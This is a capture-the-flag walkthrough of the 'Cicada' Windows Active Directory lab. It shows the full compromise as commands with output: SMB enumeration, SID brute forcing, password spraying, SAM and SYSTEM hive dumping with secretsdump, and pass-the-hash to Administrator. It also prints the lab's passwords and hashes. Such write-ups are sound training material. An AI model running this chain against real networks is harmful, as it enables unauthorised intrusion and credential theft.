Cicada

17th January 2025 / Document No D25.100.319

Prepared By: Pho3

Machine Author: theblxckcicada

Difficulty: Easy

Classification: Official

Synopsis

Cicada is an easy-difficult Windows machine that focuses on beginner Active Directory enumeration and exploitation. In this machine, players will enumerate the domain, identify users, navigate shares, uncover plaintext passwords stored in files, execute a password spray, and use the `SeBackupPrivilege` to achieve full system compromise.

Skills Required

- Basic Understanding of Windows
- Basic Enumeration Skills

Skills Learned

- Active Directory Enumeration and Privilege Escalation
- Password Spraying
- SeBackup Privilege Abuse
- Pass-the-Hash Attack

Enumeration

Nmap

Starting with our usual `Nmap` scan, we see several ports are open. We see services like `Kerberos` `(port 88)` and `LDAP/S` `(ports 389, 636, 3268, 3269),` which indicate that we will be dealing with a Windows host. We also see that the domain is `cicada.htb`, and the host is `CICADA-DC`.

```
nmap -sC -sV -Pn 10.10.11.35

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-07 11:59 EET
Nmap scan report for 10.10.11.35
Host is up (0.094s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-01-07 16:59:36Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after:  2025-08-22T20:24:16
```

```
|_ssl-date: TLS randomness does not represent time
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
<...SNIP...>
```

To resolve the connection between the domain name and the IP address, we will add the domain name to our `/etc/hosts` file and proceed with further enumeration.

```
echo "10.10.11.35 cicada.htb" | sudo tee -a /etc/hosts
```

As there is no web interface, the first thing we can check is the `SMB` shares.

SMB

Let's start by checking to see if an anonymous user can access the `SMB` share drives. We will use `crackmapexec`, a popular tool to automate enumerating domains (including users, files/ directories, and shares). It can also brute force with supplied credentials (which we will see later) or dump usernames and hashed passwords in Active Directory environments. Let's try to enumerate the `SMB` shares by specifying the protocol, domain name, and `--shares` parameters.

```
crackmapexec smb cicada.htb --shares
SMB         cicada.htb      445    CICADA-DC        [*] Windows Server 2022 Build
20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         cicada.htb      445    CICADA-DC        [-] Error enumerating shares:
STATUS_USER_SESSION_DELETED
```

If we try to enumerate the shares without specifying a user, we are denied. So perhaps we can try some typical credentials that might be in use, such as the username `guest` with no password.

```
crackmapexec smb cicada.htb -u 'guest' -p '' --shares

SMB         cicada.htb      445    CICADA-DC        [*] Windows Server 2022 Build
20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         cicada.htb      445    CICADA-DC        [+] cicada.htb\guest:
SMB         cicada.htb      445    CICADA-DC        [+] Enumerated shares
SMB         cicada.htb      445    CICADA-DC        Share           Permissions
  Remark
SMB         cicada.htb      445    CICADA-DC        -----           -----------
  ------
SMB         cicada.htb      445    CICADA-DC        ADMIN$
   Remote Admin
SMB         cicada.htb      445    CICADA-DC        C$
   Default share
SMB         cicada.htb      445    CICADA-DC        DEV

SMB         cicada.htb      445    CICADA-DC        HR              READ

SMB         cicada.htb      445    CICADA-DC        IPC$            READ
   Remote IPC
SMB         cicada.htb      445    CICADA-DC        NETLOGON
   Logon server share
SMB         cicada.htb      445    CICADA-DC        SYSVOL
   Logon server share
```

It appears we are successful, and the `guest` user can access the `HR` share. So we will use `smbclient` to view the share and see what files may be inside.

```
smbclient //cicada.htb/HR

Password for [WORKGROUP\phoe]:
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Mar 14 14:29:09 2024
  ..                                  D        0  Thu Mar 14 14:21:29 2024
  Notice from HR.txt                  A     1266  Wed Aug 28 20:31:48 2024

                4168447 blocks of size 4096. 381377 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (3.2
KiloBytes/sec) (average 3.2 KiloBytes/sec)
```

Using the `dir` command to list the contents, we see the file `Notice from HR.txt,` and we can download it to our machine with the `get` command. Viewing the file reveals a default password!

```
Dear new hire!

Welcome to Cicada Corp! We're thrilled to have you join our team. As part of our
security protocols, it's essential that you change your default password to
something unique and secure.

Your default password is: Cicada$M6Corpb*@Lp#nZp!8

To change your password:

1. Log in to your Cicada Corp account** using the provided username and the
default password mentioned above.
2. Once logged in, navigate to your account settings or profile settings section.
3. Look for the option to change your password. This will be labeled as "Change
Password".
4. Follow the prompts to create a new password**. Make sure your new password is
strong, containing a mix of uppercase letters, lowercase letters, numbers, and
special characters.
5. After changing your password, make sure to save your changes.

Remember, your password is a crucial aspect of keeping your account secure.
Please do not share your password with anyone, and ensure you use a complex
password.

If you encounter any issues or need assistance with changing your password, don't
hesitate to reach out to our support team at support@cicada.htb.

Thank you for your attention to this matter, and once again, welcome to the
Cicada Corp team!

Best regards,
Cicada Corp
```

Lookupsid

Now that we have found this password we could try checking to see if any accounts are still using this password. To do this, we must find out all the users that are in the domain, and we can do this using `Impacket's` `lookupsid` module. This tool will try brute forcing Windows Security Identifiers (SIDs) of any users in the AD domain. Each user has a unique SID, which is comprised of their relative identifier (RID) concatenated with the domain SID. User SIDs are typically issued by a Domain Controller and are used in authorization and access mechanisms such as to form a part of the access token created during sign-in.

To enumerate the domain, we will specify the `guest` user, the domain name, and `-no-pass` for no password.

```
impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Brute forcing SIDs at cicada.htb
[*] StringBinding ncacn_np:cicada.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-917908876-1423158569-3159038727
498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: CICADA\Administrator (SidTypeUser)
501: CICADA\Guest (SidTypeUser)
502: CICADA\krbtgt (SidTypeUser)
512: CICADA\Domain Admins (SidTypeGroup)
513: CICADA\Domain Users (SidTypeGroup)
514: CICADA\Domain Guests (SidTypeGroup)
515: CICADA\Domain Computers (SidTypeGroup)
516: CICADA\Domain Controllers (SidTypeGroup)
517: CICADA\Cert Publishers (SidTypeAlias)
518: CICADA\Schema Admins (SidTypeGroup)
519: CICADA\Enterprise Admins (SidTypeGroup)
520: CICADA\Group Policy Creator Owners (SidTypeGroup)
521: CICADA\Read-only Domain Controllers (SidTypeGroup)
522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
525: CICADA\Protected Users (SidTypeGroup)
526: CICADA\Key Admins (SidTypeGroup)
527: CICADA\Enterprise Key Admins (SidTypeGroup)
553: CICADA\RAS and IAS Servers (SidTypeAlias)
571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
1000: CICADA\CICADA-DC$ (SidTypeUser)
1101: CICADA\DnsAdmins (SidTypeAlias)
1102: CICADA\DnsUpdateProxy (SidTypeGroup)
1103: CICADA\Groups (SidTypeGroup)
1104: CICADA\john.smoulder (SidTypeUser)
1105: CICADA\sarah.dantelia (SidTypeUser)
1106: CICADA\michael.wrightson (SidTypeUser)
1108: CICADA\david.orelious (SidTypeUser)
1109: CICADA\Dev Support (SidTypeGroup)
1601: CICADA\emily.oscars (SidTypeUser)
```

In the results, we find groups, users, and aliases within the domain, which helps us to understand its overall structure. Since we want a list of the users, we will compile all the items that fall under the `SidTypeUser` category. To avoid doing this manually, we will rerun the command with some additional arguments: we use `grep` to specify taking only the users and `sed` to remove any text other than the name. Then, we will pass the items into a file called `users.txt`.

```
impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass | grep 'SidTypeUser' | sed 's/.*\\\(.*\) (SidTypeUser)/\1/' > users.txt
```

Now, we can conduct a password spray to test if any users still have the default password we found. Our `user.txt` file should contain the following users:

```
cat users.txt

Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```

Password Spraying

To execute our password spray attack, we will again use `crackmapexec`. We will specify the file containing the users we found and the default password `Cicada$M6Corpb*@Lp#nZp!8`, so `crackmapexec` will try the password on each user.

```
crackmapexec smb cicada.htb -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'

SMB         cicada.htb      445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         cicada.htb      445    CICADA-DC        [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         cicada.htb      445    CICADA-DC        [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         cicada.htb      445    CICADA-DC        [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         cicada.htb      445    CICADA-DC        [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         cicada.htb      445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         cicada.htb      445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         cicada.htb      445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
```

It appears that the user `michael.wrightson` is still using the default password! With access to the correct credentials we can continue enumerating.

Enumerating Domain Users

Unfortunately, `michael.wrightson` doesn't have access to any of the other shares, but we can use his access to enumerate the other users on the machine and see what further information we can find.

```
crackmapexec smb cicada.htb -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --
users
SMB         cicada.htb      445    CICADA-DC        [*] Windows Server 2022 Build
20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         cicada.htb      445    CICADA-DC        [+]
cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8
SMB         cicada.htb      445    CICADA-DC        [+] Enumerated domain user(s)
SMB         cicada.htb      445    CICADA-DC        cicada.htb\emily.oscars
            badpwdcount: 1 desc:
SMB         cicada.htb      445    CICADA-DC        cicada.htb\david.orelious
            badpwdcount: 1 desc: Just in case I forget my password is
aRt$Lp#7t*VQ!3
SMB         cicada.htb      445    CICADA-DC        cicada.htb\michael.wrightson
             badpwdcount: 0 desc:
SMB         cicada.htb      445    CICADA-DC        cicada.htb\sarah.dantelia
            badpwdcount: 2 desc:
SMB         cicada.htb      445    CICADA-DC        cicada.htb\john.smoulder
             badpwdcount: 2 desc:
SMB         cicada.htb      445    CICADA-DC        cicada.htb\krbtgt
            badpwdcount: 2 desc: Key Distribution Center Service Account
SMB         cicada.htb      445    CICADA-DC        cicada.htb\Guest
             badpwdcount: 2 desc: Built-in account for guest access to the
computer/domain
SMB         cicada.htb      445    CICADA-DC        cicada.htb\Administrator
             badpwdcount: 2 desc: Built-in account for administering the
computer/domain
```

It looks like the user `david.orelious` has saved their password `aRt$Lp#7t*VQ!3` under their AD description in case they forget it! Unfortunately, this is still quite common in the real world as convenience often trumps security, but it will help us to escalate our privileges.

Foothold

With `david.orelious`'s credentials, we can check what shares he has access to.

```
crackmapexec smb cicada.htb -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
SMB         cicada.htb      445    CICADA-DC        [*] Windows Server 2022 Build
20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         cicada.htb      445    CICADA-DC        [+]
cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB         cicada.htb      445    CICADA-DC        [+] Enumerated shares
SMB         cicada.htb      445    CICADA-DC        Share           Permissions
  Remark
SMB         cicada.htb      445    CICADA-DC        -----           -----------
  ------
SMB         cicada.htb      445    CICADA-DC        ADMIN$
   Remote Admin
SMB         cicada.htb      445    CICADA-DC        C$
   Default share
SMB         cicada.htb      445    CICADA-DC        DEV             READ

SMB         cicada.htb      445    CICADA-DC        HR              READ

SMB         cicada.htb      445    CICADA-DC        IPC$            READ
   Remote IPC
SMB         cicada.htb      445    CICADA-DC        NETLOGON        READ
   Logon server share
SMB         cicada.htb      445    CICADA-DC        SYSVOL          READ
   Logon server share
```

It seems we have access to the `DEV` share, let's see if there is anything useful there. Using `smbclient` once more and specifying `David`'s credentials, we find an interesting file! Let's download it to our machine and see what it contains.

```
smbclient //cicada.htb/DEV -U  'david.orelious%aRt$Lp#7t*VQ!3'

Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Mar 14 14:31:39 2024
  ..                                  D        0  Thu Mar 14 14:21:29 2024
  Backup_script.ps1                   A      601  Wed Aug 28 20:28:22 2024

                4168447 blocks of size 4096. 413344 blocks available
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (1.1
KiloBytes/sec) (average 1.1 KiloBytes/sec)
```

The PowerShell script creates a `zip` backup of the `C:\smb` directory and saves it to `D:\Backup` with a timestamped file name. It then informs the user of the completion and location of the backup file. However, what interests us is that there is another set of exposed plaintext credentials that we can use, `emily.oscars` and her password `Q!3@Lp#M6b*7t*Vt`!

```
cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username,
$password)
$dateStamp = Get-Date -Format "yyyyMMdd_HHmmss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath
$backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
```

Since we have new credentials, we can try to use them to get a shell on the machine. Let's use `Evil-WinRM` and see if the credentials we found work.

```
evil-winrm -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -i cicada.htb

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:
https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
```

We've successfully gotten a WinRM session as Emily and can navigate to her desktop under `C:\Users\emily.oscars.CICADA\Desktop` to find the user flag!

Privilege Escalation

Moving on to escalating our privileges, let's start by checking what privileges `Emily` already has with the command `whoami /priv`.

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------


Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

We see that she has the `SeBackupPrivilege`, typically given to service accounts or administrative users. This privilege was designed to facilitate system backups, and as such, it enables access to system-protected files while bypassing other existing permissions. This means that in a realistic scenario, a user account should not be granted this privilege as they effectively have access to sensitive files such as the `SYSTEM` and `SAM` Windows Registry Hives. These hives contain the information we need to escalate our privileges!

Simply put, we can use these hives to dump user `NTLM` hashes. We can then use the Administrator hash to authenticate instead of a plaintext password.

In more detail:

- The `SAM` (Security Account Manager) hive contains local user account and group membership information, including their hashed passwords.
- The `SYSTEM` hive contains system-wide configuration settings, such as the system boot key required to decrypt the password hashes stored in `SAM`.

We will use the `reg save` command to perform a command in the registry, specify the location of the hive, and save it to a file in the current directory with the appropriate name.

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> reg save hklm\sam sam
The operation completed successfully.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> reg save hklm\system system
The operation completed successfully.
```

Now, we can download the two files to our system simply by using `Evil-WinRM`'s `download` command.

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> download sam

Info: Downloading C:\Users\emily.oscars.CICADA\Desktop\sam to sam

Info: Download successful!

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> download system

Info: Downloading C:\Users\emily.oscars.CICADA\Desktop\system to system

Info: Download successful!
```

With the files now on our local machine, we can use `Impacket's` `secretsdump` module to dump the user `NTLM` hashes. The `NTLM` hash represents a cryptographic version of a user's plaintext password. Once retrieved, we could try to crack the hash or use it in a Pass-the-Hash attack to authenticate directly to the system without needing a plaintext password.

To extract the hashes, we specify the following arguments:

`-sam`: the path to the `SAM` file, which contains encrypted password data.

`-system`: the path to the `SYSTEM` file, which contains the boot key required to decrypt the `SAM` file.

`local`: indicates that the files are local and not being accessed remotely.

```
impacket-secretsdump -sam sam -system system local
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
```

In the output, we find the Administrator `NTLM` hash `2b87e7c93a3e8a0ea4a581937016f341`. We can use it to directly log in to the account with `Evil-WinRM` by passing it as a parameter with `-H`.

```
evil-winrm -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341 -i cicada.htb

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub:
https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

We have successfully rooted the machine and can navigate to the desktop to find the `root` flag under `C:\Users\Administrator\Desktop\root.txt`!